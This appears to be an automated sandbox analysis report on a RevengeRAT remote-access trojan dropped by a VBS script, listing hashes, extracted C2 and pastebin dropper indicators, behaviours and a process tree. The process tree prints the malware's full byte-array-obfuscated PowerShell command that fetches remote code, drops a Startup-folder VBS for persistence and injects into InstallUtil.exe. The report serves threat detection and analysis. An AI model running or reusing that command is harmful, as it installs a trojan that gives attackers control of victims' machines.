revengerat | 36884fba5e03e2bda056c5345d1e9e2af3d72860c116b0110c9a845fbeb68298

Analysis

max time kernel
157s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
19-02-2022 09:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

36884fba5e03e2bda056c5345d1e9e2af3d72860c116b0110c9a845fbeb68298.vbs
Size

38KB
MD5

0d16eafc2062d62ca907d9173306297e
SHA1

8c276ce7589c6fe757206ba932fc8f15865869c1
SHA256

36884fba5e03e2bda056c5345d1e9e2af3d72860c116b0110c9a845fbeb68298
SHA512

1190ddc702ca46931a7e08aa0c0aeee59ba2f948cfc1301797e7400236f0cd30ed341fddb3f67105aafcba40b2cd710bb8244833ffdb92eb51724a4b4057b480

Score

10^/10

revengerat client trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/8AjnXrD3

Extracted

Family

revengerat

Botnet

Client

kimjoy.ddns.net:2021

Mutex

RXQLV8XYTDNHNSA

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

16 1700 powershell.exe

flow	pid	process
16	1700	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemLogin32Bits89.vbs powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4728 set thread context of 376 4728 powershell.exe InstallUtil.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemLogin32Bits89.vbs	powershell.exe

description	pid	process	target process
PID 4728 set thread context of 376	4728	powershell.exe	InstallUtil.exe

Drops file in Windows directory 6 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

1700 powershell.exe
1700 powershell.exe
4728 powershell.exe
4728 powershell.exe
4728 powershell.exe
4728 powershell.exe

pid	process
1700	powershell.exe
1700	powershell.exe
4728	powershell.exe
4728	powershell.exe
4728	powershell.exe
4728	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

powershell.exepowershell.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeShutdownPrivilege	4236	svchost.exe
Token: SeCreatePagefilePrivilege	4236	svchost.exe
Token: SeShutdownPrivilege	4236	svchost.exe
Token: SeCreatePagefilePrivilege	4236	svchost.exe
Token: SeShutdownPrivilege	4236	svchost.exe
Token: SeCreatePagefilePrivilege	4236	svchost.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

WScript.execmd.exepowershell.exepowershell.execsc.exe

description	pid	process	target process
PID 1936 wrote to memory of 4868	1936	WScript.exe	cmd.exe
PID 1936 wrote to memory of 4868	1936	WScript.exe	cmd.exe
PID 4868 wrote to memory of 1700	4868	cmd.exe	powershell.exe
PID 4868 wrote to memory of 1700	4868	cmd.exe	powershell.exe
PID 1700 wrote to memory of 4728	1700	powershell.exe	powershell.exe
PID 1700 wrote to memory of 4728	1700	powershell.exe	powershell.exe
PID 4728 wrote to memory of 4848	4728	powershell.exe	csc.exe
PID 4728 wrote to memory of 4848	4728	powershell.exe	csc.exe
PID 4848 wrote to memory of 700	4848	csc.exe	cvtres.exe
PID 4848 wrote to memory of 700	4848	csc.exe	cvtres.exe
PID 4728 wrote to memory of 424	4728	powershell.exe	InstallUtil.exe
PID 4728 wrote to memory of 424	4728	powershell.exe	InstallUtil.exe
PID 4728 wrote to memory of 424	4728	powershell.exe	InstallUtil.exe
PID 4728 wrote to memory of 376	4728	powershell.exe	InstallUtil.exe
PID 4728 wrote to memory of 376	4728	powershell.exe	InstallUtil.exe
PID 4728 wrote to memory of 376	4728	powershell.exe	InstallUtil.exe
PID 4728 wrote to memory of 376	4728	powershell.exe	InstallUtil.exe
PID 4728 wrote to memory of 376	4728	powershell.exe	InstallUtil.exe
PID 4728 wrote to memory of 376	4728	powershell.exe	InstallUtil.exe
PID 4728 wrote to memory of 376	4728	powershell.exe	InstallUtil.exe
PID 4728 wrote to memory of 376	4728	powershell.exe	InstallUtil.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\36884fba5e03e2bda056c5345d1e9e2af3d72860c116b0110c9a845fbeb68298.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1936

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:4868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -WindowStyle Hidden -Command "IEX ([System.Text.Encoding]::UTF8.GetString(@(35,82,101,97,100,32,67,111,110,116,101,110,116,32,79,102,32,80,111,119,101,114,83,104,101,108,108,32,70,105,108,101,32,33,13,10,91,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,93,32,36,83,116,114,101,97,109,32,61,32,40,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,79,112,101,110,82,101,97,100,40,34,104,116,116,112,115,58,47,47,112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,56,65,106,110,88,114,68,51,34,41,13,10,91,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,82,101,97,100,101,114,93,32,36,83,82,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,82,101,97,100,101,114,32,36,83,116,114,101,97,109,13,10,91,83,116,114,105,110,103,93,32,36,82,101,113,32,61,32,36,83,82,46,82,101,97,100,84,111,69,110,100,40,41,13,10,13,10,91,83,121,115,116,101,109,46,84,104,114,101,97,100,105,110,103,46,84,104,114,101,97,100,93,58,58,83,108,101,101,112,40,54,48,48,48,41,13,10,13,10,35,67,114,101,97,116,101,32,80,111,119,101,114,83,104,101,108,108,32,70,105,108,101,32,79,110,32,72,97,114,100,32,68,105,115,107,32,33,13,10,91,83,116,114,105,110,103,93,32,36,84,69,77,80,32,61,32,36,101,110,118,58,84,69,77,80,32,43,32,34,92,34,32,43,32,34,83,121,115,84,114,97,121,46,80,83,49,34,13,10,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,36,84,69,77,80,44,32,36,82,101,113,41,13,10,13,10,35,83,116,97,114,116,117,112,32,73,110,115,116,97,108,108,97,116,105,111,110,13,10,70,117,110,99,116,105,111,110,32,73,78,83,84,65,76,76,40,41,32,123,13,10,32,32,32,32,91,83,116,114,105,110,103,93,32,36,86,66,83,82,117,110,32,61,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,68,101,102,97,117,108,116,46,71,101,116,83,116,114,105,110,103,40,64,40,56,51,44,49,48,49,44,49,49,54,44,51,50,44,55,57,44,57,56,44,49,48,54,44,51,50,44,54,49,44,51,50,44,54,55,44,49,49,52,44,49,48,49,44,57,55,44,49,49,54,44,49,48,49,44,55,57,44,57,56,44,49,48,54,44,49,48,49,44,57,57,44,49,49,54,44,52,48,44,51,52,44,56,55,44,56,51,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,52,54,44,56,51,44,49,48,52,44,49,48,49,44,49,48,56,44,49,48,56,44,51,52,44,52,49,44,49,51,44,49,48,44,55,57,44,57,56,44,49,48,54,44,52,54,44,56,50,44,49,49,55,44,49,49,48,44,51,50,44,51,52,44,56,48,44,49,49,49,44,49,49,57,44,49,48,49,44,49,49,52,44,56,51,44,49,48,52,44,49,48,49,44,49,48,56,44,49,48,56,44,51,50,44,52,53,44,54,57,44,49,50,48,44,49,48,49,44,57,57,44,49,49,55,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,56,48,44,49,49,49,44,49,48,56,44,49,48,53,44,57,57,44,49,50,49,44,51,50,44,56,50,44,49,48,49,44,49,48,57,44,49,49,49,44,49,49,54,44,49,48,49,44,56,51,44,49,48,53,44,49,48,51,44,49,49,48,44,49,48,49,44,49,48,48,44,51,50,44,52,53,44,55,48,44,49,48,53,44,49,48,56,44,49,48,49,44,51,50,44,51,52,44,51,50,44,51,56,44,51,50,44,51,52,44,51,55,44,55,48,44,49,48,53,44,49,48,56,44,49,48,49,44,56,48,44,57,55,44,49,49,54,44,49,48,52,44,51,55,44,51,52,44,52,52,44,51,50,44,52,56,41,41,13,10,32,32,32,32,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,40,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,71,101,116,70,111,108,100,101,114,80,97,116,104,40,55,41,32,43,32,34,92,83,121,115,116,101,109,76,111,103,105,110,51,50,66,105,116,115,56,57,46,118,98,115,34,41,44,32,36,86,66,83,82,117,110,46,82,101,112,108,97,99,101,40,34,37,70,105,108,101,80,97,116,104,37,34,44,32,36,84,69,77,80,41,41,13,10,125,13,10,13,10,91,83,121,115,116,101,109,46,84,104,114,101,97,100,105,110,103,46,84,104,114,101,97,100,93,58,58,83,108,101,101,112,40,49,48,48,48,41,13,10,13,10,35,82,117,110,32,80,111,119,101,114,83,104,101,108,108,32,70,105,108,101,32,33,13,10,73,78,83,84,65,76,76,13,10,73,69,88,32,34,80,111,119,101,114,83,104,101,108,108,46,101,120,101,32,45,87,105,110,100,111,119,83,116,121,108,101,32,72,105,100,100,101,110,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,82,101,109,111,116,101,83,105,103,110,101,100,32,45,70,105,108,101,32,36,84,69,77,80,34)))"
3⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy RemoteSigned -File C:\Users\Admin\AppData\Local\Temp\SysTray.PS1
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4728

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1aq4uvcf\1aq4uvcf.cmdline"
5⤵
- Suspicious use of WriteProcessMemory
PID:4848

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB841.tmp" "c:\Users\Admin\AppData\Local\Temp\1aq4uvcf\CSC8F3D68601C9F4C3C8C610F95E93FDA7.TMP"
6⤵
PID:700

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
5⤵
PID:424

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
5⤵
PID:376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4236

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
c163ab439d3c5ab9abff81272c463c19

SHA1
3f87e709ce5e2b8a4eed5dd1c9f4252549b0b94f

SHA256
4dbf858a84ae2a2ff8368e49a188c61d41606da2ce8aece245f70f787029ff5a

SHA512
473f1ee75bcd06a2f53b3b4605a4805c9b1fca5b3b87080d9708308a426cb4b8e81543a982f9c94d2fb5a1101f264e0533663cb471035e83e1abf4126d91ec79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
a703d9d529b6cd4b6a653b3bc9dd41da

SHA1
ca4517b79a71786cbdec2c3806c8713a3547f5b1

SHA256
67c578311a499b2780d4b682d7faa581c3bfd4c4260fdba8395a0dc98fa3b0af

SHA512
302ae6062735b8035b27873dd2f4d4ffea3fc2d371311d41686582829701d5873c949f00367db38116b8872eda4053b13291650dd24f09a543649f3c2a28b81d

Download Submit
C:\Users\Admin\AppData\Local\Temp\1.bat
MD5
b5870c9131ef96fa9da1c0828fc5660f

SHA1
96e7ab6a3bfb21d58966a16bd70c5ab5248bcfed

SHA256
8b6dbd7728407ce50e813a7207dbea18709200c452b89e39514abc2e38f76b06

SHA512
dfa17e2017ad3c7bc2cf0c76d2558e8c92f14ef0cb1277a1459653ca36438d3daad9796361fa2a6f06df0d5eafbbe79d35dec6830004bc3088a4786360df2542

Download Submit
C:\Users\Admin\AppData\Local\Temp\1aq4uvcf\1aq4uvcf.dll
MD5
e3a47d48f6d99615432cf417d449aa84

SHA1
57ab454273742fc363276b5499b903473cd344c4

SHA256
1c1bb7f6d8d7bd08dd20b9049f4926fc00e2176e2d8947d8c68fb7077e367746

SHA512
e39b1f69ec64abc7da04520f2df300153e45312d20cc5923103ae182aaebabba3c3240bcfdfa8554242dfb0facd30a26683699d42caebe4bc1be8ea538f47555

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESB841.tmp
MD5
83ea24321370eb0c39e6667feb804c3a

SHA1
b1a08bdaf6b2fc07d30ea08659ce3ad73b469d24

SHA256
bdf4ed8f824821b0042bf6de95ee6f9a25389d8685d01312b841e5940c407ffa

SHA512
b88e732bba20ac0071ddadd2f977ed25a5c3b4c7b24030163ee0ec45578ad9a57de22e13596eee15770862e2f391bf2fe96ecf05c3fa083306cff6cbfcbc9289

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysTray.PS1
MD5
c3a085139e8656f1b19f51d7994ecdde

SHA1
892232ef2b63b20ab0572957373a0fee56c58eb9

SHA256
a0b8635c9a7ed11f8d279bdbe0e368908ffd31a5caeb7fc9ae491f86347b4c6b

SHA512
58583e9e5d6c04f5e267097be02515690ba26c98d2f5afa858a2209c5d973c2b69630341e513fdc3a3fe5d8f4ba96955a8c07d45d750ca2da66b34d32db26041

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1aq4uvcf\1aq4uvcf.0.cs
MD5
e03b1e7ba7f1a53a7e10c0fd9049f437

SHA1
3bb851a42717eeb588eb7deadfcd04c571c15f41

SHA256
3ca2d456cf2f8d781f2134e1481bd787a9cb6f4bcaa2131ebbe0d47a0eb36427

SHA512
a098a8e2a60a75357ee202ed4bbe6b86fa7b2ebae30574791e0d13dcf3ee95b841a14b51553c23b95af32a29cc2265afc285b3b0442f0454ea730de4d647383f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1aq4uvcf\1aq4uvcf.cmdline
MD5
a0ed9752152ac02898720b8af1012667

SHA1
7a431c2792b3fc5eae8948a0e352a6443ee02889

SHA256
730e8f50a218dab1291b452fa8be3d0b7edc0861df115489115c4836f21f6e69

SHA512
5c7844d1c2dd35474134a3e99c6d1d004de953aabdcbae08049697a490d18b31994452fee274ae90f63db541a07ff0d1c8753c621bdb4a052f4c2ff4d2f13ecc

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1aq4uvcf\CSC8F3D68601C9F4C3C8C610F95E93FDA7.TMP
MD5
98c341ad726edc54b9697d19b706b7ca

SHA1
49f2aac75b5efaa96770518554d35e666293a6bd

SHA256
be5a9b9ac6d44421cb9d9c86da9a218f711f8d050274ba62c9a096b55bfce603

SHA512
f73a57e1fb07efddb2274000ee5753f9466d674762f2e027f5cef18c2a213699def041fa0a5ea3061a76ed63043c08a8054be9e919bd95561b4b2c0cb7c02d99

Download Submit
memory/376-150-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/376-155-0x0000000005500000-0x000000000559C000-memory.dmp

Filesize
624KB

Download
memory/376-154-0x000000007510E000-0x000000007510F000-memory.dmp

Filesize
4KB

Download
memory/376-153-0x0000000005960000-0x0000000005F04000-memory.dmp

Filesize
5.6MB

Download
memory/376-156-0x00000000054F0000-0x00000000054F1000-memory.dmp

Filesize
4KB

Download
memory/1700-132-0x00007FF8F1AC3000-0x00007FF8F1AC5000-memory.dmp

Filesize
8KB

Download
memory/1700-133-0x0000018F40600000-0x0000018F40602000-memory.dmp

Filesize
8KB

Download
memory/1700-134-0x0000018F40603000-0x0000018F40605000-memory.dmp

Filesize
8KB

Download
memory/1700-135-0x0000018F40606000-0x0000018F40608000-memory.dmp

Filesize
8KB

Download
memory/1700-131-0x0000018F40610000-0x0000018F40632000-memory.dmp

Filesize
136KB

Download
memory/4236-144-0x0000018B61D90000-0x0000018B61DA0000-memory.dmp

Filesize
64KB

Download
memory/4236-145-0x0000018B62420000-0x0000018B62430000-memory.dmp

Filesize
64KB

Download
memory/4236-149-0x0000018B64B10000-0x0000018B64B14000-memory.dmp

Filesize
16KB

Download
memory/4728-137-0x0000022379A30000-0x0000022379A32000-memory.dmp

Filesize
8KB

Download
memory/4728-136-0x00007FF8F1AC3000-0x00007FF8F1AC5000-memory.dmp

Filesize
8KB

Download
memory/4728-141-0x000002237BC30000-0x000002237BCA6000-memory.dmp

Filesize
472KB

Download
memory/4728-138-0x0000022379A33000-0x0000022379A35000-memory.dmp

Filesize
8KB

Download
memory/4728-140-0x0000022379A36000-0x0000022379A38000-memory.dmp

Filesize
8KB

Download